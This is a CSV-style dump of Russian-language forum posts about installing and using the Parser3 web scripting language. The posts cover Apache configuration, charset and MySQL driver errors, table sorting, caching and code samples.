^eval($x1+1)	$y1\
}]\
^gg.polybar(0x004D1A)[$rect_coord]\
$rect_coord[^table::create{x	y\
^eval($x1+5)	^eval($y1-5)\
^eval($x1+1)	^eval($y1-1)\
^eval($x0+1)	^eval($y1-1)\
^eval($x0+5)	^eval($y1-5)\
}]\
^gg.polybar(0x007327)[$rect_coord]\
^i.inc[]\
}\
\
@castx[a]\
    $result(^math:round(($a*($x-$fromr-$froml-3))+$froml+3))\
\
@casty[a]\
    $result(^math:round($y-$frombottom-4-(($a/$maxy)*($y-$frombottom-4-$fromtop))))\
[/code]\
\
[b]test.gif[/b]\
[code]\
@USE\
graph.p\
\
@main[]\
\
$g[^graph::load[520;300]]\
\
^g.canvas[]\
\
^g.plot[^table::create{value\
0.1\
10.9\
5.5\
0.6\
}]\
\
#^g.text[36;36;Hello World]\
\
^g.show[]\
\
[/code]\
"
"2855","Да я и сам бы рад, да вот не хочет он работать с таким вот .htaccess:\
\
#назначение обработчиком .html страниц:\
AddHandler parsed-html html\
#для *nix:\
#Action parsed-html /cgi-bin/parser2.cgi\
#для windows соответственно exe- обработчик:\
Action parsed-html /cgi-bin/parser2.exe\
\
#запрет на доступ к .cfg файлам:\
\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files>\
\
А вот и ошибочка подоспела:\
Apache Error 500:\
Извините, но при выполнении скрипта сервером произошла ошибка.\
Попробуйте обратиться к странице позднее.\
\
Вот такая вот х.. малята! \
Что подсказать можешь?!?"
"2856","надо не так:\
[code]\
AddHandler parsed-html html\
[/code]\
а так (точку перед html забыл):\
[code]\
AddHandler parsed-html .html\
[/code]"
"2857","Если использовать GET, то все нормально, а когда POST, то возникает то самое сообщение post_size(0)!=content_length(51)\
\
И в чем тут грабли?\
\
<center> \
<form method=\"POST\"> \
<p> \
Date: <input name=\"date\" value=\"${now.year}-${now.month}-${now.day}\"> \
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
Header: <input name=\"header\"> \
</p> \
<p>Body:<br> \
<textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea> \
</p> \
<p> \
<input type=\"submit\" value=\"Add New\" name=\"posted\">&nbsp;&nbsp;&nbsp; \
<input type=\"reset\" value=\"Cancel\"> \
</p> \
</form> \
\
"
"2858","в ошибке написано, что клиент заявил о том, что пришлёт сколько-то байт, а сервер передал parser'у 0 байт.\
\
как так вышло — не ясно, возможно, имеетс плохо настроенный suexec?"
"2860","Таже ошибка! :о\\\
\
Apache Error 500:\
Извините, но при выполнении скрипта сервером произошла ошибка.\
Попробуйте обратиться к странице позднее.\
\
Что может быть ещё?!?\
\
#назначение обработчиком .html страниц:\
AddHandler parsed-html .html\
#для *nix:\
#Action parsed-html /cgi-bin/parser2.cgi\
#для windows соответственно exe- обработчик:\
Action parsed-html /cgi-bin/parser2.exe\
\
#запрет на доступ к .cfg файлам:\
\
<Files ~ \"\\.cfg$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Заранее спасибо!!!"
"2861","что бы его нельзя было прочитать?"
"2863","потому что HTML это [i]язык разметки[/i], и метаданные(теги) нельзя отделить от данных(содержания)."
"2864","собственно данные графика находятся в этом файле. править на предмет своих данных имеет смысл его. в будущем предполагается возможность передавать данные и вид графика через POST/GET\
[b]test.gif[/b]\
[code]\
@USE\
graph.p\
\
@main[]\
\
# создаем картинку размером 520 x 300, на которой будем рисовать график\
$g[^graph::load[520;300]]\
\
# создаем поле, где будет график (точнее, рисуем оси и поле под график)\
^g.canvas[]\
\
# рисуем собственно сам график. в таблице задаются значения по оси Y\
# имя \"value\" обязательное (пока?)\
^g.plot[^table::create{value\
0.1\
10.9\
5.5\
0.6\
}]\
\
# попытка написать текст, без привязки к графику\
# ! эта функция не будет работать без файла шрифта, а он не выложен мной\
#^g.text[36;36;Hello World]\
\
# отдаем картинку клиенту\
^g.show[]\
[/code]\
"
"2865","скачал вот это файл с DLL -кой. parser3_1_0_0001_win32_apache_xml.zip\
Хотелось бы прикрутить как модуль. Но нигде об этом ни слова.\
\
?\
"
"2866","Не знаю, насколько этот код Вас устроит, но мне кажется, он делает то, что нужно. Этот вариант метода из второго урока, не вошедший в документацию:\
\
[code]\
@nav_menu[num_col]\
#количество столцов передаем параметром\
# Загружаем таблицу с списком разделов из файла sections.cfg\
$sections[^table::load[/sections.cfg]]\
#Задаем кол-во столбцов в таблице меню\
#проверям $кол_столб на нулевое значение и присваеваем 4 по умолчанию\
^if($num_col==0){$num_col(4)}\
#проверяем, совпадает ли кол-во столбцов и строк в таблице $sections\
^if(^sections.count[]==$num_col){\
#если совпадает, то кол-во строк в табл.меню такое\
$кол_строк(^math:floor(^eval(^sections.count[]/$num_col)-1))\
}{\
#если не совпадает, то кол-во строк в табл.меню такое\
$кол_строк(^math:floor(^eval(^sections.count[]/$num_col)))\
}\
<table width=100% border=0 bgcolor=\"000000\" cellspacing=1>\
#задаем внешний цикл (генерация строк таблицы)\
^for[outside](0;$кол_строк){\
<tr bgcolor=\"ffffff\">\
#задаем внутренний цикл (генерация столбцов таблицы)\
	^for[inside](0;$num_col-1){\
#	Если кончились данные в таблице $sections, то столбец пустой\
	^if($criterion==^eval(^sections.count[]-1)){\
        <td bgcolor=\"#8F8F8F\"></td>\
        }{\
#       Если данные есть, то вставляем их в текущий столбец строки\
#	Смещаем указатель на нужную строку\
        ^sections.offset(^eval($inside+$outside*$num_col))\
#	Вводим критерий совпадения текущий строки с последней для создания пустых столбцов\
        $criterion(^sections.offset[])\
        	^if($sections.uri eq $request:uri){\
		<td width=^eval(100/$num_col)[%d]% align=middle bgcolor=\"#80FF80\"><nobr>$sections.name</nobr></td>\
        	}{\
               	<td width=^eval(100/$num_col)[%d]% align=middle><a href=$sections.uri><nobr>$sections.name</nobr></a></td>\
        	}\
\
#	Возвращаем указатель текущей строки на первую\
        ^sections.offset(-^eval($inside+$outside*$num_col))\
       	}\
        }\
</tr>\
}\
</table>\
[/code]"
"2867","[quote] Поскольку код становится все объемнее, неплохо бы начать снабжать его комментариями, чтобы потом было легче разбираться. В Parser комментариями считается любая строка, начинающаяся со знака #. До сих пор мы не пользовались этим, но в дальнейшем нам пригодится комментирование кода. Следующая строка - пример комментария: [/quote]\
значит, если я напишу\
[code]#$eval(1/0)[/code]\
все в норме. это комметарий\
но если же [code]<tab>#$eval(1/0)[/code]\
получим деление на ноль\
[b]вопрос[/b]\
как в Це я ожидал, что независимо от положения решетки все после нее отбросится. ведь если делать все решеточные комментарии только от начала строки получается не очень красиво. а если делать ^rem, то его еще увидеть надо. решетка # же сразу видна. [b]пусть хотябы если строка с #-кой и до нее только пробелы или табуляция.[/b]\
"
"2869","ну и что?"
"2872","что с этим делать?\
\
поиск на форуме не дал ответа. хотя такая проблема обсуждалась."
"2873","так что так нельзя"
"2875","в файлах CSS используются конструкции, в которых от начала строки идут пробельные символы, за ними идет решетка, и все это - не есть комментарий и это низя выкидывать...\
\
"
"2877","просмотрел документацию и там нет ни слова об этом"
"2878","#Загружаем модуль\
LoadModule html-parser  [Путь до модуля]/ApacheModuleParser3.dll\
\
#Заставляем обробатывать html страници\
AddType html-parser html\
\
#Запрет на доступ к .cfg и .p файлам\
<Files ~ \"\\.(p|cfg)$\">\
 Order allow,deny\
 Deny from all\
</Files>\
\
-----------------\
\
На втором Apache не пробывал"
"2879","есть такая прога, кажется называется HideHTML (автор её жадина-говядина !!!). Эта прога делает посредством javascript'ов из твоего кода такую кашу, что не сделав backup придется все делать по новой. Естественно прога может \"прятать\" только статичные документы без vbscript'ов - то бишь надо будет ручками выбирать документы и нажимать кнопку \"извратить html\" - об участии сервера речи тут и быть неможет.  \
Другой вариант написать скрипт на парсере для генерации таких извращений - но не более, чем извращение это не назовешь, т.к. что может быть такого суперсекретного в твоем хтмле....если только не координаты расположения всех ракет СССР :-) в комментариях."
"2881","Прямого применения ([b]^cache[файл](число_секунд){код}[/b]) оператору ^cache я так и не нашел в своих проектах. Может быть потому, что не вставала определенная задача. Однако, ускорить вывод данных из MySQL очень хотелось. Пришлось немного повымудряться.\
\
Итак, прописываем кто где, а у меня в классе [b]elements[/b], в который я выделяю все жизненно необходимые элементы для функционирования проекта, следующий макрос:\
\
[code]\
@cache[filename;code]\
$roll[^date::now[]]\
^roll.roll[day](30)\
$result[\
  ^cache[/cache/$filename][$roll]{\
  $code\
  }\
]\
[/code]\
\
Результатом работы которого будет всегда кэшированный код - что нам вообщем-то и нужно. Осталось самое малое - отловить что где и когда будет изменяться и вовремя удалять файлы кэша с диска (для удобства, будем размещать их в одной директории) оператором [b]^file:delete[/cache/имякэша][/b]\
\
Использовать данную реализацию можно как и на форуме (тогда удалять кэш древа сообщений будем после нового постинга), так и в новостных лентах, где список новостей выбирается из базы (для чего я его и прописывал). Вообще, новостная лента - отдельная тема для публикации, и, надеюсь, если будет время и желание, напишу, как реализовывал свою идею.\
\
ps А вообще в админ-интерфейсе сделал себе еще один раздел - [b]кэш-файлы[/b], где можно вести наблюдение за тем, какие файлы созданы и по желанию грохнуть любой, одним словом, больше возможностей PARSERу, товарищи Разработчики. А вот чего бы очень хотелось увидеть, так это [b]загрузку файла, расположенного за пределами сервера (http либо ftp)[/b]\
\
pps А ^download есть или нет в 3ем - или я просто плохо искал?"
"2883","этот код не работает:\
LoadModule html-parser [Путь до модуля]/ApacheModuleParser3.dll\
\
у меня модуль загрузился только с этим:\
LoadModule parser3_module [Путь до модуля]/ApacheModuleParser3.dll\
\
а вот тип не знаю какой добавлять\
пробовал:\
AddType parser3_module .html\
не работает :((("
"2885","АУуу! где же support?"
"2886","Запиши библиотеку ApacheModuleParser3.dll в каталог с модулями, если у тебя с XML туда же запиши и библиотеки поддержки XML. Далее в httpd.conf напиши:\
[code]\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
ParserRootConfig путь_к_ГКФ/parser3.conf\
[/code]\
в .htaccess для нужного сайта пиши:\
[code]\
AddHandler parser3-handler .html\
ParserSiteConfig путь_к_КФС/parser3.conf\
[/code]\
ГКФ - главный конфигурационный файл\
КФС - конфигурационный файл сайта"
"2889","Вот я пишу страницу на парсере, а потом ее надо закодирывать так, что бы ее нельзя было прочитать, но страница работала как положено. Такое возможно?"
"2891","WindowsXP\
Apache 1.3.24 (в общем последний)\
PHP 421\
\
если пытаюсь загрузить как модуль (как ПХП) - апачи вообще не запускается. LoadModule html-parser modules/ApacheModuleParser3.dll\
\
попатался поставить как СГИ - вот так:\
SetEnv HTTP_PARSER_ROOT_CONFIG C:/APACHE/CONF/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG C:/APACHE/CONF/parser3.conf\
\
#назначение обработчиком .html страниц \
AddHandler parsed-html phtml \
Action parsed-html /cgi-bin/parser3.exe\
\
#запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.(p|cfg)$\">\
 Order allow,deny\
 Deny from all\
</Files>\
\
---------------------------------------\
выдаёт ошибку Premature End of script Headers\
в логе Апача.\
\
ЧТО ДЕЛАТЬ??\
\
ПХП я сам поставил без проблем.. а с этим... фиг знает что.\
"
"2892","во-первых Apache 1.3.24 не последний, последний 1.3.26\
\
во вторых ты точку перед phtml забыл, т.е. должно быть так:\
[code]\
SetEnv HTTP_PARSER_ROOT_CONFIG C:/APACHE/CONF/parser3.conf\
SetEnv HTTP_PARSER_SITE_CONFIG C:/APACHE/CONF/parser3.conf\
\
#назначение обработчиком .html страниц \
AddHandler parsed-html .phtml \
Action parsed-html /cgi-bin/parser3.exe\
\
#запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
\
про модуль читай тут http://www.parser.ru/forum/?id=2886"
"2893","у тебя один конфиг, а надо 2, так что определи сам где у тебя будут ГКФ и КФС и напиши к ним правильные пути при определении соотв. переменных окружения"
"2894","пишу:\
httpd.conf\
---------------\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
ParserRootConfig C:/Apache/conf/parser3.conf\
\
.htaccess\
------------------\
AddHandler parser3-handler .html\
ParserSiteConfig C:/Apache/conf/parser3.conf\
------------------------\
\
и опять выдаёт Premature end of script headers..."
"2895","если ты используешь версию с XML проверь есть ли в каталоге с модулями соотв. библиотеки поддержки и конфигов должно быть 2 а не один как у тебя, про конфигурационные файлы(главный и сайта) читай в доке."
"2896","спасибо, почти заработало как модуль.\
\
теперь пример выдаёт такое: (уже в браузере)\
\
c:/apache/conf/parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
\
с этим что делать?\
"
"2898","parser3.conf - они одинаковые\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
---------------------------------\
а также файл auto.p в каталоге htdocs ======================\
@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
# Строчку ниже надо поправить в \
# соответствии с твоими настройками \
# MySQL$SQL.connect-string[mysql://юзер:пароль@ip_MySQL_сервера/твоя_база_данных]\
\
"
"2899","прочитай доку, про них, и auto.p у тебя неправильный, в нем почему-то появились фрагменты конфига"
"2900","да уже млин. скачал всё что нужно было скачать. поставил как в доке.\
\
ИТОГО:\
* ни%рена не работает.\
* ещё оказывается я и виноват, файлы у меня неправильные. а КТО их туда засунул??? неправльные???"
"2903","всё понятно будет."
"2904","первый файл(parser3.conf) у тебя КФС, второй auto.p [b]НО ЭТО ВЕДЬ НЕ КОНФИГУРАЦИОННЫЙ ФАЙЛ[/b] а метод класса MAIN. A где же второй ГКФ? вот тебе линк http://www.parser.ru/docs/lang/parserrootconfig.htm там и читай что это такое, и сделай его у себя."
"2907","пути в нём правильные прописать"
"2908","Как я это делаю - я писал в форуме по 2 парсеру.\
Тут абсолютно аналогично.\
Кеширую в основном всю страницу целиком.\
\
Правда с тех пор много воды утекло, и кое что изменилось, поэтому наверное я в ближайшее время опишу это и выложу в примеры..."
"2909","\
"
"2910","в общем главный конфиг должен быть такой:\
@auto[]\
\
$CHARSETS[\
   $.windows-1251[C:/windows/parser3/etc/charsets/windows-1251.cfg]\
   $.koi8-r[C:/windows/parser3/etc/charsets/koi8-r.cfg]\
]\
--------------------\
конфиг для сайта - такой:\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
\
"
"2911","добавь в главный конфиг еще вот это:\
[code]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
odbc	$sqldriversdir/parser3odbc.dll\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
pgsql	$sqldriversdir/parser3pgsql.dll	$sqldriversdir/libpq.dll}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
[/code]\
если конечно хочешь с СУБД работать, но можешь и не добавлять, хозяин барин."
"2912","FreeBSD 4.3\
\
[code]\
read failed: No such file or directory (2), actual filename ''\
exception.type=file.missing\
[/code]\
\
пытаюсь достучаться до http://domain.com/cgi-bin/parser3.cgi"
"2913","по причине его отсутствия (No such file or directory)\
\
я ответил на вопрос? ;-)"
"2915","хотя может быть и бинарный. Не, скорее текстовый.\
\
Ты знаешь что есть сарказм? ;)"
"2917","[code]\
can not open the module, Cannot open \"/cgi-bin/lib/libparser3mysql.so\"\
/cgi-bin/lib/libparser3mysql.so\
\
./parser3.conf(4)\
[/code]"
"2918","впредь постарайтесь задавать вопросы более корректно"
"2920","Ведь у меня все на местах лежит, а не работает :-("
"2924","При примом обращение к Парсер-у выдаёт следующее:\
\
[code]\
read failed: No such file or directory (2), actual filename ''\
exception.type=file.missing \
[/code]\
\
При обращении к какой-либо странице на сервере:\
[code]\
can not open the module, Cannot open \"/cgi-bin/../lib/libparser3mysql.so\"\
\
[bold]/cgi-bin/../lib/libparser3mysql.so[/bold]\
\
environment(1)\
\
-------------------------------------------------------------------connect /home/lik/subdomains/tm/www/auto.p(2)\
dbconnect /home/lik/subdomains/tm/www/auto.p(19)\
navigation /home/lik/subdomains/tm/www/auto.p(99)\
body /home/lik/subdomains/tm/www/auto.p(13)\
[/code]"
"2927","driver failed to initialize client library '/home/lik/subdomains/tm/www/cgi-bin/lib/libmysqlclient.so',\
can not open the dynamic link module\
\
/home/lik/subdomains/tm/www/cgi-bin/lib/libparser3mysql.so\
\
environment(1)\
"
"2928","случай один вполне объясним: не передал имя файла - так и должно быть.\
\
случай два:\
нет файла \"/cgi-bin/../lib/libparser3mysql.so\" (или \"/lib/libparser3mysql.so\", что то же самое) (считается от документ-рута). Посмотри, есть у тебя это файло в /lib/?\
"
"2929","Файло -то на месте.\
\
см. ниже - он вообще ерись какую-то начил нести."
"2930","... и полный путь этого файла?"
"2931","Вот:\
\
[code]\
/home/lik/subdomains/tm/www/\
[/code]\
\
Путь до файла:\
\
[code]\
/home/lik/subdomains/tm/www/cgi-bin/lib/\
[/code]"
"2932","http://tm.lik.ru"
"2933","посмотри про КАКОЙ файл тебе говорит сообщение об ошибке и перенеси lib на один уровень вверх. Или parser3.conf поправь"
"2934","народ, работайтес AdobeGoLive и проблем не будет!"
"2935","А если он такое пишет?\
\
driver failed to initialize client library '/home/lik/subdomains/tm/www/cgi-bin/lib/libmysqlclient.so',\
can not open the dynamic link module\
\
/home/lik/subdomains/tm/www/cgi-bin/lib/libparser3mysql.so\
\
environment(1)\
"
"2937","У Win версии ДВЕ библиотеки для MySQL, а здесь ОДНА а требует-то всеравно ОБЕ! Как быть?"
"2939","Люди, у кого с Parser'ом всё ok!!!!\
Пришлите ваш httpd.conf, плз.\
У меня все таже проблема с методом POST, может Apache у меня криво сконфигурен?!"
"2944","как понял, уже разобрались, что путь нужно написать полный дисковый путь и к parser3mysql и к mysqlclient. DocumentRoot никакого отношения к происходящему не имеет.\
\
unix:\
[code]\
$SQL[\
$.drivers[^table::set{protocol driver client\
mysql	/full/disk/path/parser3mysql.so	/full/disk/path/libmysqlclient.so\
[/code]\
если сами не знаете, где лежит библиотека [b]mysqlclient[/b], а не указывая пути (я так включил в conf по-умолчанию) не загружается,\
значит надо поправить путь.\
попробуйте\
/usr/local/lib/mysql/libmysqlclient.so\
не выйдет, обратитесь к админу.\
\
Win32:\
[code]\
$SQL[\
$.drivers[^table::set{protocol driver client\
mysql	/full/disk/path/parser3mysql.dll	/full/disk/path/libmySQL.dll\
[/code]"
"2946","А в\
mysql-3.23.51-unknown-freebsdelf4.4-i386.tar\
\
есть только\
\
libmysqlclient.a\
\
что с ним делать?\
и зароботает он если просто сменить расширение у файла?"
"2947","Может Вы кто-нить даст мне её?"
"2948","Киньте на мыло пожалуйста, очень надо!\
\
mailto:mikhail@lik.ru"
"2949","Проси у админов. Любой файл  - libmysqlclient.so.* (вместо * обчно цыфирь)\
А потом ln -s в libmysqlclient.so"
"2950","запросы в базу на mysql из парсера 3 типа\
select Name from User where name='tupka' - в конце \"а\"=#97\
&\
select Name from User where name='tupkа' - в конце \"а\"=#224\
\
приводят к выводу одной и той же строки (она в базе единственная) с #97 в конце. Кто тут виноват и кого пинать?\
\
Используется Apache 1.3.19(Unix) не русский и Mysql 3.23.36. Парсер 3 скачан в оригинале с parser.ru"
"2951","'abc' = 'ABC'\
\
если кодировка базы koi8 (часто по-умолчанию)\
то указан ли в строке соединения ?charset=cp...\
\
если не указан, эти буквы могут совпадать в другой кодировке"
"2952","Указано ?charset=cp1251_koi8. Так что не должны по идее. \
Case insensitive тут как бы тоже ни при чем - буквы разные -  \"а\" русская и \"а\" латинская. \
Какие еще будут идеи?"
"2953","мм.. а может не должно быть указано, может база в win?\
пока не представил себе другого варианта.\
если и это не подойдёт, надо проверять, что эти буквы — точно они, и ошибки нет в другом месте.\
для начала зайти консолью и попробовать в ней."
"2954","Постинг и чтение из базы происходит исключительно с помощью средств самого парсера из одного и того же места и строки коннекта. \
Буквы - точно эти. Пробовал. Даже сравинвал запрос, который формирует парсер. Все точно-именно разные русская и латинская. А вот после передачи этого серверу возвращается одна и та же строка. "
"2955","что могу сказать: сам parser при общении с sql серверами ничего никогда не перекодирует.\
диагноз: mysql хитро дурит.\
доктор: пойти в консоли и проверить."
"2956","Таки мяу. Таки мискль. \
Б....ь! как я ненавижу эту кривую поделку!\
Поставить что ли последний.. только поможет ли?"
"2958","игорь, не стоит так сразу шуметь, уверен, имеет место ваше с mysql взаимонедопонимание. что-то не так настроено.\
\
вот работает нормально (английская/русская):\
[code]\
Server version:         3.23.49\
\
mysql> select 'a'='а';\
+---------+\
| 'a'='а' |\
+---------+\
|       0 |\
+---------+\
1 row in set (0.00 sec)\
[/code]\
если вам нужно срочно, а разбираться лень, можно попросить, чтобы он сравнивал строки бинарно:\
[code]\
mysql> select 'a'= binary 'A';\
+-----------------+\
| 'a'= binary 'A' |\
+-----------------+\
|               0 |\
+-----------------+\
1 row in set (0.00 sec)\
\
mysql> select 'a'= binary 'a';\
+-----------------+\
| 'a'= binary 'a' |\
+-----------------+\
|               1 |\
+-----------------+\
[/code]"
"2959","Может быть и взаимонедопонимание. апгрейд на .51 версию не помог.\
бинарное сравнение это здорово, но не совсем то :)\
А можно ваш конфиг попросить?"
"2960","вот такой вопрос.\
\
можно ли осуществить запрос из созданной текстовой таблицы (в файле delimited)?\
\
т.е. из такой:\
id        name\
01        firma\
02        firma2\
..."
"2962","да действитльено. хотя скл-запросом было бы лучше :)"
"2964","Может кто сталкивался, есть табличка ip адресов в виде\
ip\
192.168.0.1\
192.168.0.2\
...\
192.168.0.*\
\
пытаюсь ее отсортировать парсер пишет, что не правильный формат\
double. Как я понимаю он пытается преобразовать его в double, но\
не получается.\
Что-нибудь можно с этим сделать?\
"
"2966","Про download - я не знаю, не пользуюсь."
"2967","я пишу так как в документации (с круглыми скобками)\
\
//cut 20020613parser3.chm //\
Пример использования: \
$men[^table::create{name   age \
Serge   26 \
Alex   20 \
Mishka   29 \
}] \
^men.sort($men.age)[desc] \
//cut 20020613parser3.chm //\
\
С фигурными скобками действительно перестал ругаться\
\
"
"2969","как и ^include нет, потому, что:\
[code]\
$response:body[^file::load[binary;some.zip]]\
[code]"
"2970","Есть файл /usr/local/parser/parser3.conf следующего содержания:\
[code]\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$sqldriversdir[/usr/local/parser/lib]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	/usr/local/pgsql/lib/libpq.so\
}]\
]\
[/code]\
\
В переменной HTTP_PARSER_ROOT_CONFIG находится значение /usr/local/parser/parser3.conf\
\
Однако при попытке соединения с базой получаю ошибку $SQL:drivers table must be defined. В чём тут может быть дело?"
"2971","\"пирог мой не сырой\"\
дополню пример, чтобы была яснее разница."
"2974","теперь обратил\
надо было мне документацию вдумчивей читать\
"
"2975","что самое гадастное нигде не написано, что именно фигурные скобки сравнивают в лексикографическом порядке:\
\
Значением функции может быть строка (значения сравниваются в лексикографическом порядке) или число (значения сравниваются как действительные числа).\
"
"2976","где в документации расписано о функциях?\
\
мне не понятно как их по-нормальному определять:\
\
@myfunction[]\
...\
...\
\
а как задать начало/ конец функции? без скобок? (в ПХП например, функция() {...})"
"2978","может быть..\
в psrser3.conf напиши вот это\
-------------------\
#максимальный размер POST данных\
$LIMITS[ \
   $.post_max_size(10*0x400*0x400) \
] \
\
"
"2981","а если там у меня дальше просто код будет, который и спользует её?"
"2982","вот это действительно нужно."
"2983","Но в документации структура несколько иная предложена."
"2986","aig, сколько денег мы вам должны? спокойнее.\
улучшим статью."
"2987","Я разве сильно возмущаюсь, наоборот, считаю что parser вещь очень нужная и полезная. Однако хороших примеров очень нехватает.\
Может отдадите какой-нибудь Ваш сайт, с использованием парсера, на растерзание?\
"
"2988","Собственно, решил на досуге себе форум простенький написать, а заодно и парсер освоить. За полчаса справился со всеми основными страницами, но потом обратил внимание, что при просмотре новых сообщений все символы новой строки жестко режутся на пробелы. Почитал документацию - поставил на выводе untaint[js] с данных в базе. В итоге смог \\n заменить на <br>. Но параллельно с этим вместо я появляется \\я и соответственно \\' \\\"\
Каким образом можно попроще все это дело сделать, если не писать на каждый символ замену replace'ом?"
"2989","А откуда взялась необходимость делать ^untaint[js]? И почему именно js?\
Заменить \\n на <br> куда проще."
"2990","просто если заменять без untaint'а на <br>\
парсер будет менять <br> на &gt;br%&lt; и эффекта не будет никакого\
... хотя можно untaint сделать уже после замены...\
надо попробовать =)"
"2992","как на Парсере лучше организовывать инклуды?\
\
для вставки контента."
"2993","Если хочешь потом этот контент обновлять через админ-интерфейс, то тут, конечно, лучше юзать MySQL, так как в доке по 3му парсеру нам не описали, как же все-таки удобно (без использования построчного перебора таблицаы) удалять текущую (хотя бы) строку.\
\
Иначе, можно юзать .txt файлы, по-моему, опять же лучше их табличный вариант и вставлять через загрузку в таблицу и ^menu[] если, конечно, файл не большой. Иначе, возвращаемся к пункту №1.\
\
Все это только мое imho"
"2995","то не нужно этого делать совсем. Нет необходимости превносить в парсер идеологию asp и php - там без этого почти никак, а тут ты теряешь процентов 30 функционельности.\
\
Так что подумай еще раз ;-)"
"2996","т.е. то, что уже сказали (таблицы/МуСКЛ) и ХМЛ/ХСЛ - это верный путь, я правильно понимаю?"
"2997","как где подкрутить, чтобы парсер не ругался следующим образом:\
\
parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option]\
\
желательно без декомпиляции парсера.\
\
в принципе, конечно, можно просто пользователю такую группу присвоить, но мне че-то не очень эта мысль нравится"
"2998","Нет. Внизу на http://www.parser.ru/examples/regexp/ описан очень интересный эффект."
"2999","Или ту же группу или перекомпилировать. Tertium non datur."
"3000","В смысле прописал в VirtualHost нужные User и Group.\
Какие минусы такого \"третьего\" решения?"
"3001","Или нормально настроить Apache или перекомпилировать Parser."
"3002","XML ведь тебе тоже нужно как-то постоить. ;)\
\
В общем неплохо получается с классом, который олицетворяет документ (не обязательно HTML $-)"
"3003","прописал в httpd.conf:\
LoadModule parser3_module modules/ApacheModuleParser3.dll\
ParserRootConfig conf/parser3.conf\
AddHandler parser3-handler .html\
\
пробую запустить какою-нибудь тестовую страничку, и мне выдается:\
conf/parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
"
"3006","Блин, ну я и намучался с установкой парсера3 на апаче под ХР.\
Но ничего, прочитав всё, что можно в формуме - завелось таки.\
Спасибо всем."
"3007","[code]\
### тип возвращаемых данных - table\
### параметры:\
### tbl - таблица из которой надо удалить строку\
### from - номер строки, начиная с которой надо удалять. нумерация строк с 1\
### count - число удаляемых строк\
### пример вызова: $tbl[^remove[$tbl;5;1]] - удаляем 5ю строку\
@remove[tbl;from;count][tmp]\
^if(def $tbl){\
    $result[^tbl.select((^tbl.line[]<$from) || (^tbl.line[]>=$from+$count))]\
}\
[/code]"
"3008","ага я тоже часа 2 ставил. на ПХП у меня ушло всего 5 минут.\
\
отсюда следует, что доки по установке у Парсера - стрёмные, а конфиги для примера неправильные."
"3009","А я почему-то поставил parser именно за 5 минут... Просто распаковал и положил... Апач ставился дольше...\
\
Думается, дело в невнимательном чтении той самой доки."
"3010","ну ладно врать-то. попробуй с теми конфигами что по умолчанию. будет куча ошибок."
"3011","Еще одна попытка перехода на личности / неаргументированного наезда - забанню!"
"3012","просто не надо дезинформировать начинающих.\
\
попробуй поставь с конфигами по умолчанию. с теми которые на сайте. в них многого нету."
"3013","1. С ним и ставил\
2. Чего там нет?"
"3014","читай предыдущий тред от \"SLam\" у него такая же бодяга, с кодировками. в конфиге их определения просто не прописаны. и выдаётся unknown charset или типа того."
"3015","Если не увидишь в самом начале\
[code]\
@auto[]\
$charsetsdir[c:\\winnt\\parser3\\etc\\parser3.charsets]\
$sqldriversdir[c:\\winnt\\parser3\\lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
